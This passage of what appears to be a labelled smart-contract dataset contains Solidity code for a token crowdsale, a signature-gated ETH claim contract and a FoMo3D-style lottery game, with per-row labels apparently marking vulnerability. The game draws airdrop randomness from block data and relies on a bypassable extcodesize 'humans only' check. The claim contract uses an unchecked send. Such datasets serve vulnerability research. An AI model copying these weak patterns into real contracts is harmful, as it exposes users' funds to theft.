function setEndRate(uint256 rate) onlyOwner public {
require(rate != 0);
require(block.number < startBlock);
endRate = rate;
EndRateChange(rate);
}
function getRate() internal returns(uint256) {
if (buyerRate[msg.sender] != 0) {
return buyerRate[msg.sender];
}
if (isWhitelisted(msg.sender)) {
return preferentialRate;
}
uint256 elapsed = block.number - startBlock;
uint256 rateRange = initialRate - endRate;
uint256 blockRange = endBlock - startBlock;
return initialRate.sub(rateRange.mul(elapsed).div(blockRange));
}
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 updatedWeiRaised = weiRaised.add(weiAmount);
uint256 rate = getRate();
uint256 tokens = weiAmount.mul(rate);
weiRaised = updatedWeiRaised;
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != 0x0);
wallet = _wallet;
continuousSale.setWallet(_wallet);
WalletChange(_wallet);
}
function unpauseToken() onlyOwner {
require(isFinalized);
MANAToken(token).unpause();
}
function pauseToken() onlyOwner {
require(isFinalized);
MANAToken(token).pause();
}
function beginContinuousSale() onlyOwner public {
require(isFinalized);
token.transferOwnership(continuousSale);
continuousSale.start();
continuousSale.transferOwnership(owner);
}
function finalization() internal {
uint256 totalSupply = token.totalSupply();
uint256 finalSupply = TOTAL_SHARE.mul(totalSupply).div(CROWDSALE_SHARE);
token.mint(wallet, FOUNDATION_SHARE.mul(finalSupply).div(TOTAL_SHARE));
}
} | 0 | 762 |
pragma solidity =0.6.12;
contract NavyBase {
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
fallback() external payable {}
receive () external payable {}
mapping(address=> uint256) public claimed;
event ClaimETH(address indexed to, uint256 amount);
function claim(uint256 amount, bytes32 hash, bytes memory signature) public{
bytes memory prefix = hex"19457468657265756d205369676e6564204d6573736167653a0a3532";
require(keccak256(abi.encodePacked(prefix, msg.sender, amount))==hash);
require(recover(hash, signature) == address(0x000c8794F857Fb1151F362Df71694F4bDA0bB88c));
require(amount >= claimed[msg.sender]);
amount = amount - claimed[msg.sender];
if (amount >= address(this).balance){
amount = address(this).balance;
}
claimed[msg.sender] = amount + claimed[msg.sender];
msg.sender.send(amount);
emit ClaimETH(msg.sender, amount);
}
} | 1 | 3,037 |
pragma solidity ^0.4.24;
contract Suohaevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is Suohaevents {}
contract Suoha is modularShort {
using SafeMath for *;
using NameFilter for string;
using SuohaKeysCalcLong for uint256;
address community_addr = 0x5707D1322237300fc0a0Be9b3159B0BA41eEfEEF;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE7198204B2286fDCcc2da2676EaA3af4FD4903BC );
string constant public name = "Suoha";
string constant public symbol = "Suoha";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Suohadatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Suohadatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Suohadatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Suohadatasets.TeamFee) public fees_;
mapping (uint256 => Suohadatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = Suohadatasets.TeamFee(30,0);
fees_[1] = Suohadatasets.TeamFee(43,0);
fees_[2] = Suohadatasets.TeamFee(56,0);
fees_[3] = Suohadatasets.TeamFee(43,8);
potSplit_[0] = Suohadatasets.PotSplit(15,0);
potSplit_[1] = Suohadatasets.PotSplit(20,0);
potSplit_[2] = Suohadatasets.PotSplit(25,0);
potSplit_[3] = Suohadatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
Suohadatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit Suohaevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Suohadatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(6) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
returns(Suohadatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit Suohaevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Suohadatasets.EventReturns memory _eventData_)
private
returns(Suohadatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Suohadatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit Suohaevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "shuoha already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library Suohadatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library SuohaKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
